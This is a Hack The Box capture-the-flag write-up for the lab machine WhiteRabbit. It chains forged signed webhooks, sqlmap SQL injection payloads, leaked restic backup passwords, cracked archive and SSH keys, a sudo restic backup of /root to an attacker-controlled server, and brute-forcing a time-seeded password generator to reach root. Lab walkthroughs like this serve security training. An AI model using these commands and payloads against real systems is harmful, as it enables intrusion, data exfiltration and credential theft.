> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / LINUX / 2025-04-12

Hack The Box — WhiteRabbit (Linux)

Uptime Kuma and exposed workflow intelligence lead to signed webhook SQLi, credential extraction from restic artifacts, SSH pivots through bob and morpheus, and deterministic password generation abuse to root via neo.

Target

  • IP: 10.129.163.21

Recon

sudo nmap -sC -sV 10.129.163.21 -p- -T5 -v
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0f:b0:5e:9f:85:81:c6:ce:fa:f4:97:c2:99:c5:db:b3 (ECDSA)
|_  256 a9:19:c3:55:fe:6a:9a:1b:83:8f:9d:21:0a:08:95:47 (ED25519)
80/tcp   open  http    Caddy httpd
|_http-title: Did not follow redirect to http://whiterabbit.htb
|_http-server-header: Caddy
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
2222/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c8:28:4c:7a:6f:25:7b:58:76:65:d8:2e:d1:eb:4a:26 (ECDSA)
|_  256 ad:42:c0:28:77:dd:06:bd:19:62:d8:17:30:11:3c:87 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
sudo nmap 10.129.163.21 -sU -v
PORT   STATE         SERVICE
68/udp open|filtered dhcpc

Add whiterabbit.htb to /etc/hosts.

Go to http://whiterabbit.htb.

We notice one response header is:

server:     Caddy
gobuster vhost -u 'http://whiterabbit.htb/' -w '/home/kali/SecLists/Discovery/DNS/subdomains-top1million-110000.txt' -t 50 --append-domain
Found: status.whiterabbit.htb Status: 302 [Size: 32] [--> /dashboard]

Add status.whiterabbit.htb to /etc/hosts.

Go to http://status.whiterabbit.htb/.

It is Uptime Kuma. We do not know the version.

We can try running a local Docker container with Uptime Kuma.

docker run -d --restart=always -p 3001:3001 --name uptime-kuma louislam/uptime-kuma:1

Go to http://localhost:3001/.

Set the initial user.

Log in if not already logged in.

Click on Status Page.

We can create a new status page.

We see status pages are created under /status.

So we can brute-force status pages on the target system.

gobuster dir -u 'http://status.whiterabbit.htb/status/' -w /home/kali/SecLists/Discovery/Web-Content/raft-small-words.txt -t 50
/temp                 (Status: 200) [Size: 3359]

Go to http://status.whiterabbit.htb/status/temp.

We notice:

gophish (ddb09a8558c9.whiterabbit.htb)
n8n [Production]
website (whiterabbit.htb)
wikijs (a668910b5514e.whiterabbit.htb) [DEV]

Add the discovered subdomains to /etc/hosts.

Go to http://ddb09a8558c9.whiterabbit.htb/.

It is Gophish.

There is a login form, but we do not know credentials.

Go to http://a668910b5514e.whiterabbit.htb.

It is Wiki.js.

There is a page about Gophish webhooks.

It says:

1. Webhook Reception: The n8n workflow starts with a webhook node configured to receive POST requests from Gophish. Each POST request includes detailed event data, such as the campaign ID, the recipient's email, and the type of action (e.g., link clicked).
2. Signature Verification: Security is paramount, so the workflow includes a step to check and verify the x-gophish-signature header. This signature is computed using a secret key known only to Gophish, ensuring that the data originates from a trusted source and has not been tampered with during transit.
3. User Validation: Checks if the user’s email from the event is present in the database.
4. Phishing Score Update: Depending on the user’s action, their phishing susceptibility score is updated. Actions like clicking a phishing link or submitting data through a phishing form negatively impact their score.
5. Debugging and Error Handling: Notably, there is a debug node labeled "DEBUG: REMOVE SOON" that aids in troubleshooting by providing error messages when things go awry. This node is temporary and will be removed once the workflow is fully operational and stable.
6. Conditional Logic: The workflow includes conditions to handle different scenarios, such as actions taken by the user (e.g., clicking a link or submitting data), and adjusts the phishing score accordingly.
Example HTTP POST Request from Gophish to n8n
Here is how an example POST request is structured when Gophish triggers a webhook due to a user action:

POST /webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d HTTP/1.1
Host: 28efa8f7df.whiterabbit.htb
x-gophish-signature: sha256=cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 81

{
  "campaign_id": 1,
  "email": "test@ex.com",
  "message": "Clicked Link"
}

We have attached a json file of a completed workflow where an invalid signature is provided

We can download file gophish_to_phishing_score_database.json.

Inside we find:

{
      "parameters": {
        "action": "hmac",
        "type": "SHA256",
        "value": "={{ JSON.stringify($json.body) }}",
        "dataPropertyName": "calculated_signature",
        "secret": "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
      },
      "id": "e406828a-0d97-44b8-8798-6d066c4a4159",
      "name": "Calculate the signature",
      "type": "n8n-nodes-base.crypto",
      "typeVersion": 1,
      "position": [
        860,
        340
      ]
    },

We have the secret.

Now we can send arbitrary-body requests to /webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d.

Still from gophish_to_phishing_score_database.json we notice this query is used:

"query": "SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1"

So there is SQL injection in parameter email.

To use sqlmap we can create middleware: a Flask server that receives sqlmap payloads, crafts requests, and forwards them to the target.

See script attachments/test.py.

Run it:

python3 test.py

Now run sqlmap:

sqlmap -u 'http://127.0.0.1:5000/?p=a' -p p

We get:

sqlmap identified the following injection point(s) with a total of 313 HTTP(s) requests:
---
Parameter: p (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: p=a" RLIKE (SELECT (CASE WHEN (5239=5239) THEN 0x61 ELSE 0x28 END))-- AUPA

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: p=a" AND (SELECT 2776 FROM(SELECT COUNT(*),CONCAT(0x717a767a71,(SELECT (ELT(2776=2776,1))),0x717a6b7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- iPMk

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: p=a";SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: p=a" AND (SELECT 9597 FROM (SELECT(SLEEP(5)))rJMM)-- MqvY
---
[11:12:23] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
sqlmap -u 'http://127.0.0.1:5000/?p=a' -p p --dbs
[*] information_schema
[*] phishing
[*] temp
sqlmap -u 'http://127.0.0.1:5000/?p=a' -p p --users
database management system users [1]:
[*] 'phishing'@'%'
sqlmap -u 'http://127.0.0.1:5000/?p=a' -p p -D temp --tables
[1 table]
+-------------+
| command_log |
+-------------+
sqlmap -u 'http://127.0.0.1:5000/?p=a' -p p -D temp -T command_log --dump
Table: command_log
[6 entries]
+----+---------------------+------------------------------------------------------------------------------+
| id | date                | command                                                                      |
+----+---------------------+------------------------------------------------------------------------------+
| 1  | 2024-08-30 10:44:01 | uname -a                                                                     |
| 2  | 2024-08-30 11:58:05 | restic init --repo rest:http://75951e6ff.whiterabbit.htb                     |
| 3  | 2024-08-30 11:58:36 | echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd                       |
| 4  | 2024-08-30 11:59:02 | rm -rf .bash_history                                                         |
| 5  | 2024-08-30 11:59:47 | #thatwasclose                                                                |
| 6  | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |
+----+---------------------+------------------------------------------------------------------------------+

Add 75951e6ff.whiterabbit.htb to /etc/hosts.

echo -n 'ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw' | base64 -d
,+u|&.Tʅckap
echo 'ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw' > .restic_passwd
export RESTIC_PASSWORD_FILE=.restic_passwd
restic -r rest:http://75951e6ff.whiterabbit.htb snapshots
ID        Time                 Host         Tags        Paths
------------------------------------------------------------------------
272cacd5  2025-03-07 01:18:40  whiterabbit              /dev/shm/bob/ssh
------------------------------------------------------------------------
restic -r rest:http://75951e6ff.whiterabbit.htb restore 272cacd5 --target ./restored

This creates folder restored/dev/shm/bob/ssh.

cd restored/dev/shm/bob/ssh
ls

There is file bob.7z.

7z x bob.7z

It asks for a password.

Let us crack it with John.

7z2john bob.7z > tmp.txt

./john/run/john --wordlist=./rockyou.txt ./tmp.txt

We get:

1q2w3e4r5t6y
7z x bob.7z

Enter the found password.

There are three files:

bob  bob.pub  config

bob and bob.pub are Bob's private and public SSH keys.

cat config
Host whiterabbit
  HostName whiterabbit.htb
  Port 2222
  User bob
ssh -i ./restored/dev/shm/bob/ssh/bob bob@whiterabbit.htb -p 2222

We get a shell as user bob.

We are inside a Docker container.

It is Ubuntu 24.04.

sudo -l
Matching Defaults entries for bob on ebdce80611e9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User bob may run the following commands on ebdce80611e9:
    (ALL) NOPASSWD: /usr/bin/restic

On attacker machine:

docker run -p 8000:8000 -e 'DISABLE_AUTHENTICATION=true' --name rest_server restic/rest-server

On target machine:

sudo restic -r rest:http://10.10.16.11:8000/ init

Set password test.

sudo restic -r rest:http://10.10.16.11:8000/ backup /root --tag test

Enter password test.

sudo restic -r rest:http://10.10.16.11:8000 ls latest --tag test
snapshot 8210c4a6 of [/root] filtered by [] at 2025-04-09 10:42:40.540494452 +0000 UTC):
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.profile
/root/.ssh
/root/.ssh/authorized_keys
/root/morpheus
/root/morpheus.pub
restic -r rest:http://10.10.16.11:8000 restore latest --target ./tmp

Note that here we did not use sudo.

cd tmp/root
ls -la
total 16
drwx------ 4 bob bob  180 Apr  9 10:40 .
drwx------ 3 bob bob   60 Apr  9 10:51 ..
lrwxrwxrwx 1 bob bob    9 Mar 24 16:08 .bash_history -> /dev/null
-rw-r--r-- 1 bob bob 3106 Apr 22  2024 .bashrc
drwx------ 2 bob bob   40 Apr  9 10:40 .cache
-rw-r--r-- 1 bob bob  161 Apr 22  2024 .profile
drwx------ 2 bob bob   60 Apr  9 10:41 .ssh
-rw------- 1 bob bob  505 Aug 30  2024 morpheus
-rw-r--r-- 1 bob bob  186 Aug 30  2024 morpheus.pub

Copy morpheus and morpheus.pub to attacker machine.

chmod 600 morpheus

They are private/public SSH keys.

ssh -i morpheus morpheus@whiterabbit.htb

We get a shell as morpheus.

cd /opt/neo-password-generator
ls

There is file neo-password-generator.

Download it to our machine.

file neo-password-generator
neo-password-generator: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=479371f0c8046cb87ba4b6c3af5bc821a46d5871, for GNU/Linux 4.4.0, not stripped
checksec neo-password-generator
[*] '/home/kali/tmp/whiterabbit/neo-password-generator'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

Open binary in Ghidra.

In main we notice:

  gettimeofday(&tv,(__timezone_ptr_t)0x0);
  generate_password(tv.tv_sec * 1000 + tv.tv_usec / 1000);

Function generate_password does:

  srand(param1);
  for (i = 0; i < 20; i = i + 1) {
    rand_val = rand();
    buf[i] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[rand_val % 62];
  }
  local_14 = 0;
  puts(buf);

So a random password is generated like this.

Current UTC time is used, in seconds and microseconds.

Seconds are multiplied by 1000 (converted to milliseconds).

Microseconds are divided by 1000 (converted to milliseconds).

Earlier from database we got this entry:

| 6  | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |

So we have the timestamp when the password was created.

We know the seconds but not the microseconds, therefore not exact milliseconds.

So we must compute all possible passwords for the 1000 milliseconds between 14:40:42 and 14:40:43.

See script attachments/get_passwords.py.

python3 get_passwords.py

Candidate passwords are written in passwords.txt.

Now we can brute-force the password with hydra.

hydra -l neo -P passwords.txt ssh://whiterabbit.htb -t 50

We get:

[22][ssh] host: whiterabbit.htb   login: neo   password: WBSxhWgfnMiclrV4dqfj
ssh neo@whiterabbit.htb

Enter the found password.

We get a shell as neo.

sudo -l
Matching Defaults entries for neo on whiterabbit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User neo may run the following commands on whiterabbit:
    (ALL : ALL) ALL
sudo -i

We get a shell as root.